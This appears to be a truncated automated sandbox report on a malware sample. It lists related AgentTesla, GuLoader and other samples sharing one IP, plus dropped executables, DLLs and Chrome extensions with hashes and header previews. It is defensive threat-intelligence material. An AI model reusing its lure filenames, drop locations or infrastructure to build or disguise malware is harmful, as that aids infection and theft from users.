	Texas_Tool_Purchase_Order#T18834-1.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.207.72
	TRANSPORT_INSTRUCTION_MR.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.207.72
	Gesti#U00f3n Pago a Proveedores - Liquidaci#U00f3n anticipo.hta	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.207.72
	shipping document.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.207.72
	copy_76499Kxls.vbs	Get hash	malicious	Remcos, GuLoader	Browse	172.67.207.72
	Swift_Message#1234323456.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.207.72
	72625413524.vbs	Get hash	malicious	XWorm	Browse	172.67.207.72
	Purchase Inquiry.vbs	Get hash	malicious	AgentTesla	Browse	172.67.207.72

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4285952
Entropy (8bit):	6.9648538847546915
Encrypted:	false
SSDEEP:	98304:VKlYn3aX3uTXEFw+ZhtxYdKjwqw6gLwsaGBiDokFLOAkGkzdnEVomFHKnP:VlnhbE0KYwsaGBiFLOyomFHKnP
MD5:	E8E51FA1C8F3ED4BCA793C0A2B188524
SHA1:	817186CC2EF0E63B51DBE2F068B35C0B8B3E8F88
SHA-256:	C02F9FDFFEEB517A373630C1716F904CC13BC70DE4E0D003C6E92EE8935A34A1
SHA-512:	DAFBB78E1B40946772243D4963796FC7BB665093CF4E2F94959D14C018B46D40D5C554950FF1EBC04E1FC222A6810358A5FC99AF7F3C1F548E5312C79DD80D60
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........=8BW\V.W\V.W\V....U\V.....V\V.Z...i\V.Z...}\V.Z....\V......]V.....Z\V.....U\V.....r\V.W\W.K_V....Z\V.Z...V\V....V\V.RichW\V.........................PE..L....c&f..................!..R .....7.........!...@...........................B..............................................e.\|.....+.H;..........................................................8.'.@.............!..............................text.....!.......!................. ..`.rdata........!.......!.............@..@.data... .........................@....rsrc...H;....+..<...+.............@..@........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Wimsys\msg.inf

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	569908
Entropy (8bit):	7.8878551930878835
Encrypted:	false
SSDEEP:	12288:D//HpmszoMRIR0npPs6VrtUY6Ba72Xw4Fw6PwmJqFeW8k:bMs8yIR0pEortUY6k2Xw448Wj
MD5:	5464625FE3DE46072AF5734247363F5E
SHA1:	00AFE349CE2DC5CC0A7A322B24E5D21A98C124E9
SHA-256:	DD220B0A087B8DC7A17A53D41C2950B8F0720F90602AC8E1AF2EC411CE1C2BB5
SHA-512:	D47345DDE3C5F975CE307132FA71AD9A2776CC4F0185B79F313B69CD4A6DFD052CABB9A607A56B12971F16CAA6069EECD17D5CBE898646170B13D04F91DFC477
Malicious:	false
Preview:	..........B.....0.wM.4.qDkMyoXPe.!...Z......D...............@...............................!..L=!Thgl.~r.n.@.!/.O:..SB.R...A.NC%!=O.O....xd.in DOS .W...T...Y...Y.....S.....R........'.q.....>.=....+.w....R..L...ha.........e.....:..............b:.....`.\..Y...,ch.X...c&f....PE.....!.bf...........!}....>..........v........@...............@............@..@............@.............E.......,...............<............ ............... ......................p...@...........p...l............@..,............text..."-.......Zdxt..."-.......... ..`.rdata..... @.`..datS......@......@2.@.data....2..@..@.pata....2..........@....rsrc.......@....psrc...............@..@.reloc......@ .@.felo........ ......@..B............@..B....................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Wimsys\uninstall.exe

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4262912
Entropy (8bit):	6.964205899484917
Encrypted:	false
SSDEEP:	98304:W2rVk/hJpYM8jUqM9Ipt3X/18RQxd2s5x/K4kpxIdFLOAkGkzdnEVomFHKnP:5kuTUk18Q5K4kpqFLOyomFHKnP
MD5:	7E03FB9DE98F601ADCB085EB893B2F7D
SHA1:	1CD7050CC8AAAD899622C5B89D0028E4EB9CBFE5
SHA-256:	DCEE74A2285682AD92584273BAC4751C5D4F1A10D519AE1846172E36224CC820
SHA-512:	FA1600077A8D11B71A6EA7B49042BA37D50BCDAEAC0DAD7C69878D36B89DB0AE8C56105690AFC54A3AC92CDA70E612461F048BAF841FBF6FC51C07672A32334F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../8BWNV.WNV.WNV....UNV.....VNV.Z...iNV.Z...}NV.Z....NV......OV.....ZNV.....UNV.....rNV.WNW.NMV....ZNV.Z...VNV....VNV.RichWNV.................PE..L....b&f.................h!... ...............!...@...........................A.............................................$..\|....p+.H;............................................................&.@.............!..............................text....g!......h!................. ..`.rdata........!......l!.............@..@.data...@....`......B.............@....rsrc...H;...p+..<.................@..@................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Wimsys\uninstall.tar

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	187136
Entropy (8bit):	7.399970564855561
Encrypted:	false
SSDEEP:	3072:JbyFi/e7bNPWlkXb3hf0FMV0loe9Sn/PqeGs/ix0t3cTPtC5u:fe7RPWSzJuMV0loe9o/PP//ixPE5u
MD5:	56A29A1167E9F91C33C6301A95311948
SHA1:	0D0465AA2B7F629B2CE228AFB69E6552C977BD52
SHA-256:	97B7A49494A9116570DE498B1FF466B033F8AD843003D0861FF36CC502A690A3
SHA-512:	932AC92853D1FC89A70142A7EB97BEF002C878B496876E040D8B7F44C4EABAE0BFAEBC72BD74EBB9F25181769A359B70944D81EBD37C4745AE99E25496612B0D
Malicious:	false
Preview:	......B.........H.KH...KFdbbRGHt.....Z......D...............@...............................!..L=!Thgl.~r.n.@.!/.O:..SB.R...A.NC%!=O.O....xd.in DOS .W...T...Y...Y.....S.....R........'.q.....>.=....+.w....R..L...ha.........e.....:..............b:.....`.\..Y...,ch.X...b&f....PE.....!.cf.D.........!-....T..........&........`...............`............@..`............@.............E.......,...............<....0.......@...............@..........................@............................`..@............text...BB.......0dxt...BB.......D.. ..`.rdata..8... `.`..dat)..8....`......@H.@.data....2..@..@.pata....2..........@....rsrc.......@0...psrc........0......@..@.reloc......@@.@.delo........@......@..B............@..B....................................................................................................................................................................................................................................................................................

C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.9089aa03-3593-48cf-80b0-7499dec9f58a.1.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	1.1995879042924706
Encrypted:	false
SSDEEP:	12:njqj2xX/7ET0Rsk56GWtbgjO3s7Nxk56GllPUFU4cP+sN:nt/sGtm2jGt/PUKasN
MD5:	FDCB81437FE7D2AB841C8AF3F48CE2EF
SHA1:	F67E7124FD1B6D55A926B0D6E581618B63766E57
SHA-256:	7FF49C58B8F1C6E9B4A8ED41B2C853ADB73D3F1F3C94D0219CE4283DCADBF56F
SHA-512:	D07C06158FB0FD08122338F9FDB307C16EF0615F47028DAB1C1EFAAF23E6636305033BF7905709D16442EEA22CDFE6EBB1AF7EE32420CA3B7D6F9DEF4D194ABE
Malicious:	false
Preview:	............................................................................D.............q.I...................eJ..............Zb..K....(..........................................@.t.z.r.e.s...d.l.l.,.-.3.2.2.......................................................@.t.z.r.e.s...d.l.l.,.-.3.2.1............................................................h..T.............q.I...........U.p.d.a.t.e.S.e.s.s.i.o.n.O.r.c.h.e.s.t.r.a.t.i.o.n...C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.U.S.O.S.h.a.r.e.d.\.L.o.g.s.\.S.y.s.t.e.m.\.U.p.d.a.t.e.S.e.s.s.i.o.n.O.r.c.h.e.s.t.r.a.t.i.o.n...9.0.8.9.a.a.0.3.-.3.5.9.3.-.4.8.c.f.-.8.0.b.0.-.7.4.9.9.d.e.c.9.f.5.8.a...1...e.t.l...........P.P...........q.I...................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	999
Entropy (8bit):	4.966299883488245
Encrypted:	false
SSDEEP:	24:Jd4T7gw4TchTGBLtKEHcHGuDyeHRuDye6MGFiP6euDyRtz:34T53VGLv8HGuDyeHRuDye6MGFiP6euy
MD5:	24567B9212F806F6E3E27CDEB07728C0
SHA1:	371AE77042FFF52327BF4B929495D5603404107D
SHA-256:	82F352AD3C9B3E58ECD3207EDC38D5F01B14D968DA908406BD60FD93230B69F6
SHA-512:	5D5E65FCD9061DADC760C9B3124547F2BABEB49FD56A2FD2FE2AD2211A1CB15436DB24308A0B5A87DA24EC6AB2A9B0C5242D828BE85BD1B2683F9468CE310904
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<software_identification_tag xmlns="http://standards.iso.org/iso/19770/-2/2009/schema.xsd">...<entitlement_required_indicator>true</entitlement_required_indicator>...<product_title>Windows 10 Pro</product_title>...<product_version>....<name>10.0.19041.1865</name>....<numeric>.....<major>10</major>.....<minor>0</minor>.....<build>19041</build>.....<review>1865</review>....</numeric>...</product_version>...<software_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_creator>...<software_licensor>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_licensor>...<software_id>....<unique_id>Windows-10-Pro</unique_id>....<tag_creator_regid>regid.1991-06.com.microsoft</tag_creator_regid>...</software_id>...<tag_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</tag_creator>..</software_identification_tag>..

C:\Users\Public\fbe\fbegbhf.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	754688
Entropy (8bit):	6.492716907167986
Encrypted:	false
SSDEEP:	12288:toyNPayx0dPliyKhVbB5I48MsHTLW6KbwjvvoP2GDkKR2MjfREJS1JDbHijfy/XS:toyNS4eliyKhBB5I48MsHTLW6KbwDoJU
MD5:	26F4D40F43C397334DC86199975AA6A3
SHA1:	00BF81C1DEA0F1DA46541B7387F9678ACB243AC1
SHA-256:	64852F2B40EEBFA2D9EF7F1FFDD53C7230EEFA44D0A079536284CE4D01C63E19
SHA-512:	16FB0CE00DC7AC78E33255BAAC0E941907471241B0FAC3DC6ED4C540929B051FD95B6FB5915736449EA5D6D6FDA0B229963BE0048AB6F1FB1754DC6A686909FA
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........s...s...s.......s......ms.......s..!....s..!....s..l....s..!....s.......s...s..ds..l....s..l....s..l....s..Rich.s..........................PE..d....]&f.........." .....L...P......`..................................................... .........................................P...........d............`.. [...................a...............................a..0............`...............................text...lK.......L.................. ..`.rdata.......`.......P..............@..@.data....C.......(..................@....pdata.. [...`...\..................@..@_RDATA...............x..............@..@.reloc...............z..............@..B................................................................................................................................................................................................................................

C:\Users\Public\fbe\upd.inf

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	652138
Entropy (8bit):	7.826670721217011
Encrypted:	false
SSDEEP:	12288:Qn3+4k4j3bgpb7S9eUNnNzrkU4RfAItpnZWGk1n9BHUXT0ApUf/JsZ:QnRrLbg0eUVxh4RfxtpZWGkZ9B03pUfa
MD5:	E23E2A82568C74507F1E1C4FEE40271F
SHA1:	44CC38D50DC613389802A0FEC7D377CDB0317B89
SHA-256:	FC7054A93BF06D45ABE112D3F31148D4622787B15B4BF43FB6BDCDE7555CE484
SHA-512:	69DD09A647B8B0BDD07B72B4EC34592DBD5C178B5AF457F312BDD95F50ECFB728F22279CB39EF0CEC5DCC78F90EA86D8EE42ED5C2C38C56FEFB16667C961B38A
Malicious:	false
Preview:	B...............6.3J...XDcylJMco.....Z......D...............@...............................!..L. Thgl.~r.n.@.!/.O:..SB.R...A.NC%!=O.O....xd.in DOS ..."..............mR.....p..............z......./.......U...........+.../........o..T...b........p..q...................n.=\|....<......Rich............PE..d....]&f....PE....% ._(\|.j........" .....z................................................`...............`..........................&..H....6..@............F..@...................`...............`...................0............................................text....i........dxt....i.......j.. ..`.rdata...... ..`..dat...............@n.@.data...t...@P.@.hata0..t....P......@0...pdata......@p...hdat].......p......@<.@_RDATA......@..@_PDAT...............@T.@.rsrc.......@..@.psrcV..............@V.@.reloc......@..@.zelo;..............@X.B............@..B............................................................................................................................................

C:\Users\Public\wss_tmp\cr_ws_2.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	964608
Entropy (8bit):	6.421987067408779
Encrypted:	false
SSDEEP:	24576:Oz3uLj+ddcvo5YdY1LnQ0N/VKvpa5KJ6qUwrh5ZN2MwsI:Oz3hddWo5YdY1LnRXwrh5ZIY
MD5:	697B3FD0E1E10DA7666B773DC94A3B6F
SHA1:	E09BD5B3FE00DA7B36BE899908CC8EBF47657816
SHA-256:	5CC68EF4EDC2A63D34EE3E7B26513CEA489F2C38315C9AAE680799A90F5E0722
SHA-512:	DB0A8EF52E5A88D28EADFF2646D1820ED73115C3B7B776A875DC9C29720A546AE7119B78F1B66C0B7AB18C140691849BCC521557250C5C43A7E9F6F8B5B31252
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..`;..`;..`;..=?..`;..=8..`;..=>..`;..>8..`;.L>2..`;..>>..`;..>?..`;..=:..`;..`:.[`;.L>>..`;.L>;..`;.L>9..`;.Rich.`;.................PE..d...m`&f.........." .................i....................................... ............ .................................................$...<............@.......................x...............................x...............................................text...N........................... ..`.rdata..l...........................@..@.data....b.......B..................@....pdata.......@......................@..@.gfids..0...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\Public\wss_tmp\infile_x64.cab

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	386922
Entropy (8bit):	7.640602044297158
Encrypted:	false
SSDEEP:	6144:w9RJn0DYi6kPUVC8SkDPBnF3yA07cZKh9DRjYzqUYmuK6x0wHSQMhNjGzvmVG7Rl:wZyYiVftkDPrz8XYzImo0wHwhNGvmVGf
MD5:	67C5B9DA51AC9C1C7DDFCDFD9B7AC658
SHA1:	192A6FDA7EFCF401C0B837288AA8E72F2928ED8B
SHA-256:	BBA98002F348D0FDEC1C83F3D47C4C3180EB7330AC4DA7861AD1286C9B3FA4F6
SHA-512:	CFE334104DA6338D63F1103A09E07C929E4D511B65A92DCED72CADD14CB717AA24057317477A006341E8A149B880AC5703B2F60DBF73FC104D4A4A2A974E6CD4
Malicious:	false
Preview:	B...............D$ku...d6ghSVtU4.....Z......D...............@...............................!..L. Thgl.~r.n.@.!/.O:..SB.R...A.NC%!=O.O....xd.in DOS (.../...%.......)<mR....m]..........\|...........V...p...................V.......;^..s............^..l....................-.......D......Rich....PE..d...f`&f....PE....% mb(f.N........" 3....^..........8.....................................`...............`.............................H.......@....d.......U..T....p..........l...............h................... ............... ...T............`...............text....L.......:dxt....L.......N.. ..`.rdata...... `.`..dat3.......`......@R.@.data.......@ .@.hata........ ......@....pdata......@@...hdat........@......@..@.gfids......@`.@.efidE.......`......@6.@.rsrc.......@p.@.psrc8.......p......@8.@.reloc..h...@..@.zeloY..h...........@:.B............@..B....................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nskFC4E.tmp

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.6464393446710157
Encrypted:	false
SSDEEP:	3:LKR9:2R9
MD5:	ED48CEF4470626C8EBBB64C57661B279
SHA1:	5AB7FF9051E6C8793A262AA3EF73F43E5F5FF1F7
SHA-256:	FA4B9A236D50F5C16B74CE909D2578A2EFE13968D489971DB2BB7C88E7A6F045
SHA-512:	7A59CDA70AC1308857D08878737EC6026D6F9A241F4580B486AB9FCE64B618FD65C64114DF36AABCAA82957E9F315A7FF89495737A4997FF1BEB07D4A7E90ABD
Malicious:	false
Preview:	1713854404

C:\Users\user\AppData\Local\Temp\nsqF009.tmp\0.crx

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	4139
Entropy (8bit):	7.319029051910743
Encrypted:	false
SSDEEP:	96:F9Cd0EK29Z0LSqsAp8nX4S/PKEVcVNFIValU/qGDQ3OP:FcjySqsAinISXRVcnFIclU/qGD2M
MD5:	9A537937D9580A416358F0D52F040E2B
SHA1:	5CFC3F4C25C8BFA29D552997D571E78FF597002A
SHA-256:	309992671DED739A3E5733A1B40B4BB1DA3F08CDFE2801A3176B739F5E22CD7A
SHA-512:	F026389AEDD81079D223FFBDE0105B4CAEDF22196625D76409E89DA2883CEFB184992E94967A140C6F6032FAF03DA01F8E36672F64CAF1FCF434E4E34D3B4A8F
Malicious:	false
Preview:	Cr24....E.........0.."0....H.............0.........\H....T..q..f.]...]....o.m.B.g...{.z..})z,...).....;...%.oG.9.Dd....4iyf-<Hl...."G.n...P.$....z.3.8.GQOd.....RE..V.o#....Cj'.......F.\|Z...4-...-.0.J.J.2.,v.....H..gBdw...I..J.....'qs....u..f..[8..@...O..\|..p.....Y..$..).d.y.Ha.W...~..:.J.....H..........nG..&4..B..../..H.J7...O.]{b[.J...o.....4.1....;...iw..R.....:lx4.l.T...;B.!'.TbL..{.Lz...,(.h..V.>...........p-.m...}...J=V?..[...gV.?.V.\.Zs...Y..e%.K.....h........_.N.gD..G.....f.5.....f......Z........(.cKQ.............)...7....@(h.A.~..?+>.........It.....f8...PK..-.....-a{X#]8.............web_accessible_resource.js.......................j.0...y..`.)8.B..(;.....l%5...*.R..K.fa..d...dI..<.......D..Hm...k.`.g..1.>tH.w..8....P.oNh@.{jp....PxJw...5..%E.....>.........Y.....}.LF..0..q..Y.}..../.[..f......I..p"[.......U._.+....p.mK.........(.VUu.PK..-......>{X}s.............icon_128.png.....................PNG........IHDR..............>a.....pHYs..........

C:\Users\user\AppData\Local\Temp\nsqF009.tmp\1.crx

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	4140
Entropy (8bit):	7.308111647979796
Encrypted:	false
SSDEEP:	96:F9+k6jygIq6SqsjX4S/PKEVcVNFIValU/qGDQtTocCl:FIfIq6SqsjISXRVcnFIclU/qGDMwl
MD5:	A9848EFB4C206FB9519C486C4DAFAE85
SHA1:	AEE643FCB59F0A97DA3AF7A8D889B934790FEFD4
SHA-256:	64B63EB34F23DF4ED6ED30CE82E0F794CD0AB5F825B81B5FD93CA2A5314FE48B
SHA-512:	CEEA963D03862109ADCC5A7AE8A7F10699752379A5C74263AC728B0F066BC4DA2966EFBB43EAA81F18AB30AF87897EF398CAD312D60C6F443E3C992C12E729F8
Malicious:	false
Preview:	Cr24....E.........0.."0....H.............0.........&=#b,e... .'..u..x...HLB..\|k.;9l..c..9.E.O.F....>S...t.F!.k.\|D.@\|:`...D..]'Q.~.......8<.j...l.Y....C9.t..0;.b<.T...S.t..G#..].1..}.....}..q...}.\\o..........................`.......`I.>L..3 ....p.d..!q..?..f....%.8.0......;...O...C....8[.RIX.............jzS.....Pm..;.'2.{..~...\|JL...+/i.9^n.......%.T.L{v..T....Ymv~.....=..&...#2c...xhY..EcV.......X.w...(-...#)n22.l7..\..j.4.2...XOX)[.X......g%Y...C+..@.......x^...\|JP.h..........`..U..`.A.vrI..pp.f......S.....l.....8.!.m..jY....P ..V'...v6.........>..3.H..\|nB.]Z.PK..-.....)a{X..............web_accessible_resource.js.......................j.0...y....)8...7F....g+...=U...w/].5.;.&._.'KJ....*..OK@....m.........&....i...g..n..j.....yO...st..O..2>G.....#.......u]b.8.\7.c.....X.&.=..l7.Pr.B.K......{.(.e.j"...."........7.-.s...n.m)..f......=Wg%...PK..-......>{X}s.............icon_128.png.....................PNG........IHDR..............>a.....pHYs..........

C:\Users\user\AppData\Local\Temp\nsqF009.tmp\2.crx

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	4141
Entropy (8bit):	7.311993895570865
Encrypted:	false
SSDEEP:	96:F91AA9WCunDsgSqsQX4S/PKEVcVNFIValU/qGDQI0QB:FgA0nggSqsQISXRVcnFIclU/qGD10s
MD5:	015C6BAADF26FB34ABA866C97A694CA8
SHA1:	6336E8547DE4B23652972F86A50388CB5A771809
SHA-256:	446FA17B6ED7B995207FC792DF908EBA0AB1F4E1D38BECC257CC64E14B2605FA
SHA-512:	D318024E7BE0DF9F7E2DBADB3ABE20B10061629F39CCEC7DE5AAA05875BFB333375C6E8D7039227CFE2E1B8A5738E46834BE27D7EE092438DF09EEA9E390A870
Malicious:	false
Preview:	Cr24....E.........0.."0....H.............0.........P%e.+.J...R.......?_.ZD.....M..0.....V.0....;.;....B)..,.$..^.K..Z..c.l.....c..,p.E.>.Eu.kr..D....Z......k.)q....D.M...Lax....R_.....M.6...'iT.......}...<~...t......$/.>......}...F7:.+v.....)..~..Y.<D..S+..HV..'...D3.......?O.......6......,}..........x..".Q...<9.i:)....t.6i.I.....F../!ln....sB........z.'..........W.>=.....J$$+(......BU...}..G.t...N.\..f...,S\|.M.U-.+....FVZ..k.Ll..F.}"...x.).+p...~U.%w;P...c.....d5%9l[L.GS$W..x.....Y...-H...w.:G..0x...W.R..B.].......^.\|..n.rwS.z.>).......U...Z..6..g.n..PK..-......a{X................web_accessible_resource.js.......................j.0...y....)8..Qv.ue...JjpmOU.e..K.d..N......R.y.........Z!.-.....>...G.t.aD....g.Z.sB.r.S.c.....S.#...../)....=.v$..D]..%.:.&....e2....e../.M>.....R.E~b...1Ja....'.......?....Mq..\d,..h[.&...e?8`..YI....PK..-......>{X}s.............icon_128.png.....................PNG........IHDR..............>a.....pHYs..........

C:\Users\user\AppData\Local\Temp\nsqF009.tmp\IpConfig.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	120832
Entropy (8bit):	6.400554530834415
Encrypted:	false
SSDEEP:	3072:oa/4Ftm9rSlia00FW96LOsWNQmtQ9WVx95+tTIJ:t/4S9raiae8DSDtQ9W3utEJ
MD5:	A75E3775DAAC9958610CE1308E0BCA3B
SHA1:	D83CE354CDE527C2E20FB425415F6D4795DD4CD4
SHA-256:	FE2093FF4BFA1D7259C922ACA1E7BB219C4D234E469942446D9E2F8086B7D720
SHA-512:	48168A91EC90DF262B1E158F32B4BC2A6D6CE10022EB96D4A6F3C755B977E5C104558626ADAA214BDA29D7F1D246F19E2DF59B9A338982AA1C623E1BDD5714C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........M#..,M..,M..,M..T...,M..T...,M..T...,M... ..,M..~...,M...6..,M..,L..,M..T...,M..T...,M..T...,M.Rich.,M.........................PE..L....uBJ...........!.....L..........B(.......`...............................p......................................p...-......d....@.......................P..d....a..............................p...@............`..p............................text....K.......L.................. ..`.rdata...S...`...T...P..............@..@.data...8...........................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsqF009.tmp\MoreInfo.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	4.187951966863344
Encrypted:	false
SSDEEP:	96:LEjAlUFPxXJugoImuaKbkBSEPTpsxKaVQ4Ad:gjAiFPxXJugoImJKQk8yxKaVVe
MD5:	BD393029CC49B415B6C9AEB8A4936516
SHA1:	C67FD92FFFD18941BED41BFD6AC4F3B04FD123DF
SHA-256:	227A4FC9408A44FAA5ECA608A974BD536814F97B8A4D28B4CAC479727167B026
SHA-512:	3BB8E5CF4BEA7E8ADAA62196E58FFF9031F49FD4EFA78E5BD3E4B9C4E9BA1523864567521793053595D90ABEC719761A5964FF3ABE04B93B24D52E5FFA4C1F96
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................P......3.........3.....3.....3.........3.....Rich...........PE..L...'.\|K...........!......................... ...............................`......................................#......@"..P....@..h....................P..\|...@ ............................................... ..8............................text...,........................... ..`.rdata....... ......................@..@.data...,....0......................@....rsrc...h....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsqF009.tmp\SimpleSC.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	62976
Entropy (8bit):	6.324320451317714
Encrypted:	false
SSDEEP:	1536:i/qXv1si+Xsp9MNptZ8KMT6+nMA4fx+kmA:Bv1EXZnLMT5M3x+km
MD5:	D63975CE28F801F236C4ACA5AF726961
SHA1:	3D93AD9816D3B3DBA1E63DFCBFA3BD05F787A8C9
SHA-256:	E0C580BBE48A483075C21277C6E0F23F3CBD6CE3EB2CCD3BF48CF68F05628F43
SHA-512:	8357E1955560BF0C42A8F4091550C87C19B4939BF1E6A53A54173D1C163B133B9C517014AF6F7614EDDC0C9BBF93B3B987C4977B024B10B05B3DC4EB20141810
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................4......`.............@..........................0..................................................R.... ..............................................................................................................CODE....x........................... ..`DATA....@...........................@...BSS.....y................................idata..R...........................@....edata..............................@..P.reloc..............................@..P.rsrc........ ......................@..P.............0......................@..P................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsqF009.tmp\System.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.659026618805001
Encrypted:	false
SSDEEP:	192:eX24sihno00Wfl97nH6BenXwWobpWBTtvShJ5omi7dJWjOlqSlS:D8QIl972eXqlWBFSt273YOlqz
MD5:	9625D5B1754BC4FF29281D415D27A0FD
SHA1:	80E85AFC5CCCD4C0A3775EDBB90595A1A59F5CE0
SHA-256:	C2F405D7402F815D0C3FADD9A50F0BBBB1BAB9AA38FE347823478A2587299448
SHA-512:	DCE52B640897C2E8DBFD0A1472D5377FA91FB9CF1AEFF62604D014BCCBE5B56AF1378F173132ABEB0EDD18C225B9F8F5E3D3E72434AED946661E036C779F165B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L...Y..Y...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..`....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsqF009.tmp\inetc.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	25088
Entropy (8bit):	5.282085684031262
Encrypted:	false
SSDEEP:	384:ya3Bj/GAqvdXP4P4IVlht8zNHxKNSJvor9e9dQTIHzOZwceyeZwd6TJdpq:yRtqLhtqKNS5sAvQTIB86T0
MD5:	1FC1FBB2C7A14B7901FC9ABBD6DBEF10
SHA1:	4D9ED86F31075A3D3F674FF78F39C190A4098126
SHA-256:	4F26394C93F1ACB315C42C351983DAFC7F094B2D05DB6D7A1BA7DCB39A3A599E
SHA-512:	76D8FF7FC301CC5FF966AD8BE17F0F3F2D869EF797C5A2C55A062305C02133A842906448741BF9818EC369BBB2932B9A9C2193EBC59835B50E8703DB0090FDB2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N8.W.Y...Y...Y...Y.._Y....Y..Y..l./..Y..l....Y..l.*..Y..l.)..Y..l.,..Y..Rich.Y..................PE..L......S...........!.........z.......1.......@............................................@..........................N..l....G..d...............................T....................................................@..d............................text...?-.......................... ..`.rdata.......@.......2..............@..@.data....V...P.......B..............@....rsrc................P..............@..@.reloc...............Z..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsqF009.tmp\md5dll.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	6656
Entropy (8bit):	5.800293106212402
Encrypted:	false
SSDEEP:	96:5mArJv6F3TqDmgK4ghEin1US36eHQZDUDgGogZcko5Nt4AMP:5XJ63LhR6inZ6dsgZkKQT
MD5:	7059F133EA2316B9E7E39094A52A8C34
SHA1:	EE9F1487C8152D8C42FECF2EFB8ED1DB68395802
